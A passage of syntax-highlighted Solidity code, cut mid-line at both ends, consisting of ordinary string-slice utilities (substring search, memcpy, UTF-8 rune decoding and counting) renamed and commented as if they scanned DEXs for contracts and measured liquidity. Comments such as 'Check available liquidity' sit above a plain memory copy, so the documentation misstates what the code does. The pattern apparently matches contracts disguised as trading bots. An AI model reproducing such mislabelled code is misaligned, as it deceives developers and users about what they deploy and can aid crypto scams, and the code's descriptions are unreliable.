class="L5"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">int</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">)</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="kwd">int</span><span class="pun">(</span><span class="pln">other</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">);</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="com">/*</span></li><li class="L0"><span class="com"> * @dev Extracts the newest contracts on DEXs</span></li><li class="L1"><span class="com"> * @param self The slice to operate on.</span></li><li class="L2"><span class="com"> * @param rune The slice that will contain the first rune.</span></li><li class="L3"><span class="com"> * @return `list of contracts`.</span></li><li class="L4"><span class="com"> */</span></li><li class="L5"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> findContracts</span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> selflen</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> selfptr</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> needlelen</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> needleptr</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">private</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> ptr </span><span class="pun">=</span><span class="pln"> selfptr</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> idx</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">needlelen </span><span class="pun"><=</span><span class="pln"> selflen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">needlelen </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln"> bytes32 mask </span><span class="pun">=</span><span class="pln"> bytes32</span><span class="pun">(~(</span><span class="lit">2</span><span class="pln"> </span><span class="pun">**</span><span class="pln"> </span><span class="pun">(</span><span class="lit">8</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="pun">(</span><span class="lit">32</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">))</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">));</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="pln"> bytes32 needledata</span><span class="pun">;</span></li><li class="L4"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> needledata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">needleptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span></li><li class="L6"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> </span><span class="kwd">end</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">;</span></li><li class="L7"><span class="pln"> bytes32 ptrdata</span><span class="pun">;</span></li><li class="L8"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> ptrdata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln"> </span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptrdata </span><span class="pun">!=</span><span class="pln"> needledata</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptr </span><span class="pun">>=</span><span class="pln"> </span><span class="kwd">end</span><span class="pun">)</span></li><li class="L2"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen</span><span class="pun">;</span></li><li class="L3"><span class="pln"> ptr</span><span class="pun">++;</span></li><li class="L4"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> ptrdata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span></li><li class="L6"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ptr</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln"> </span><span class="com">// For long needles, use hashing</span></li><li class="L9"><span class="pln"> bytes32 hash</span><span class="pun">;</span></li><li class="L0"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> hash </span><span class="pun">:=</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">needleptr</span><span class="pun">,</span><span class="pln"> needlelen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">idx </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln"> idx </span><span class="pun"><=</span><span class="pln"> selflen </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">;</span><span class="pln"> idx</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln"> bytes32 testHash</span><span class="pun">;</span></li><li class="L4"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> testHash </span><span class="pun">:=</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">,</span><span class="pln"> needlelen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">hash </span><span class="pun">==</span><span class="pln"> testHash</span><span class="pun">)</span></li><li class="L6"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ptr</span><span class="pun">;</span></li><li class="L7"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="com">/*</span></li><li class="L6"><span class="com"> * @dev Loading the contract</span></li><li class="L7"><span class="com"> * @param contract address</span></li><li class="L8"><span class="com"> * @return contract interaction object</span></li><li class="L9"><span class="com"> */</span></li><li class="L0"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> loadCurrentContract</span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory </span><span class="kwd">self</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory ret </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> retptr</span><span class="pun">;</span></li><li class="L3"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> retptr </span><span class="pun">:=</span><span class="pln"> add</span><span class="pun">(</span><span class="pln">ret</span><span class="pun">,</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ret</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span><span class="com">/*</span></li><li class="L9"><span class="com"> * @dev Extracts the contract from DEXs</span></li><li class="L0"><span class="com"> * @param self The slice to operate on.</span></li><li class="L1"><span class="com"> * @param rune The slice that will contain the first rune.</span></li><li class="L2"><span class="com"> * @return `rune`.</span></li><li class="L3"><span class="com"> */</span></li><li class="L4"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> nextContract</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> slice memory rune</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">slice memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> rune</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span></li><li class="L7"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln"> rune</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> rune</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> l</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> b</span><span class="pun">;</span></li><li class="L4"><span class="pln"> </span><span class="com">// Load the first byte of the rune into the LSBs of b</span></li><li class="L5"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> b </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="kwd">sub</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">add</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)),</span><span class="pln"> </span><span class="lit">31</span><span class="pun">)),</span><span class="pln"> </span><span class="lit">0xFF</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L6"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0x80</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln"> l </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xE0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> l </span><span class="pun">=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xF0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln"> l </span><span class="pun">=</span><span class="pln"> </span><span class="lit">3</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln"> l </span><span class="pun">=</span><span class="pln"> </span><span class="lit">4</span><span class="pun">;</span></li><li class="L4"><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span></li><li class="L6"><span class="pln"> </span><span class="com">// Check for truncated codepoints</span></li><li class="L7"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">l </span><span class="pun">></span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln"> rune</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> rune</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">+=</span><span class="pln"> l</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">-=</span><span class="pln"> l</span><span class="pun">;</span></li><li class="L6"><span class="pln"> rune</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">=</span><span class="pln"> l</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> rune</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> memcpy</span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> dest</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> src</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> len</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">private</span><span class="pln"> pure </span><span class="pun">{</span></li><li class="L1"><span class="pln"> </span><span class="com">// Check available liquidity</span></li><li class="L2"><span class="pln"> </span><span class="kwd">for</span><span class="pun">(;</span><span class="pln"> len </span><span class="pun">>=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span><span class="pln"> len </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln"> assembly </span><span class="pun">{</span></li><li class="L4"><span class="pln"> mstore</span><span class="pun">(</span><span class="pln">dest</span><span class="pun">,</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">src</span><span class="pun">))</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span></li><li class="L6"><span class="pln"> dest </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></li><li class="L7"><span class="pln"> src </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln"> </span><span class="com">// Copy remaining bytes</span></li><li class="L1"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> mask </span><span class="pun">=</span><span class="pln"> </span><span class="lit">256</span><span class="pln"> </span><span class="pun">**</span><span class="pln"> </span><span class="pun">(</span><span class="lit">32</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> len</span><span class="pun">)</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L2"><span class="pln"> assembly </span><span class="pun">{</span></li><li class="L3"><span class="pln"> let srcpart </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">src</span><span class="pun">),</span><span class="pln"> </span><span class="kwd">not</span><span class="pun">(</span><span class="pln">mask</span><span class="pun">))</span></li><li class="L4"><span class="pln"> let destpart </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">dest</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span></li><li class="L5"><span class="pln"> mstore</span><span class="pun">(</span><span class="pln">dest</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">or</span><span class="pun">(</span><span class="pln">destpart</span><span class="pun">,</span><span class="pln"> srcpart</span><span class="pun">))</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="com">/*</span></li><li class="L0"><span class="com"> * @dev Orders the contract by its available liquidity</span></li><li class="L1"><span class="com"> * @param self The slice to operate on.</span></li><li class="L2"><span class="com"> * @return The contract with possbile maximum return</span></li><li class="L3"><span class="com"> */</span></li><li class="L4"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> orderContractsByLiquidity</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> ret</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> word</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> length</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> divisor </span><span class="pun">=</span><span class="pln"> </span><span class="lit">2</span><span class="pln"> </span><span class="pun">**</span><span class="pln"> </span><span class="lit">248</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="pln"> </span><span class="com">// Load the rune into the MSBs of b</span></li><li class="L4"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> word</span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">add</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)))</span><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> b </span><span class="pun">=</span><span class="pln"> word </span><span class="pun">/</span><span class="pln"> divisor</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0x80</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln"> ret </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">;</span></li><li class="L8"><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xE0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> ret </span><span class="pun">=</span><span class="pln"> b </span><span class="pun">&</span><span class="pln"> </span><span class="lit">0x1F</span><span class="pun">;</span></li><li class="L1"><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xF0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln"> ret </span><span class="pun">=</span><span class="pln"> b </span><span class="pun">&</span><span class="pln"> </span><span class="lit">0x0F</span><span class="pun">;</span></li><li class="L4"><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">3</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> ret </span><span class="pun">=</span><span class="pln"> b </span><span class="pun">&</span><span class="pln"> </span><span class="lit">0x07</span><span class="pun">;</span></li><li class="L7"><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">4</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln"> </span><span class="com">// Check for truncated codepoints</span></li><li class="L1"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">length </span><span class="pun">></span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> i </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span><span class="pln"> i </span><span class="pun"><</span><span class="pln"> length</span><span class="pun">;</span><span class="pln"> i</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> divisor </span><span class="pun">=</span><span class="pln"> divisor </span><span class="pun">/</span><span class="pln"> </span><span class="lit">256</span><span class="pun">;</span></li><li class="L7"><span class="pln"> b </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">word </span><span class="pun">/</span><span class="pln"> divisor</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&</span><span class="pln"> </span><span class="lit">0xFF</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">&</span><span class="pln"> </span><span class="lit">0xC0</span><span class="pln"> </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0x80</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> </span><span class="com">// Invalid UTF-8 sequence</span></li><li class="L0"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> ret </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ret </span><span class="pun">*</span><span class="pln"> </span><span class="lit">64</span><span class="pun">)</span><span class="pln"> </span><span class="pun">|</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">&</span><span class="pln"> </span><span class="lit">0x3F</span><span class="pun">);</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ret</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span><span class="com">/*</span></li><li class="L9"><span class="com"> * @dev Calculates remaining liquidity in contract</span></li><li class="L0"><span class="com"> * @param self The slice to operate on.</span></li><li class="L1"><span class="com"> * @return The length of the slice in runes.</span></li><li class="L2"><span class="com"> */</span></li><li class="L3"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> calcLiquidityInContract</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> l</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L4"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> ptr </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">-</span><span class="pln"> </span><span class="lit">31</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> </span><span class="kwd">end</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> ptr </span><span class="pun">+</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">l </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln"> ptr </span><span class="pun"><</span><span class="pln"> </span><span class="kwd">end</span><span class="pun">;</span><span class="pln"> l</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln"> uint8 b</span><span class="pun">;</span></li><li class="L8"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> b </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">),</span><span class="pln"> </span><span class="lit">0xFF</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0x80</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xE0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xF0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L4"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">3</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xF8</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">4</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun"><</span><span class="pln"> </span><span class="lit">0xFC</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">5</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">6</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> 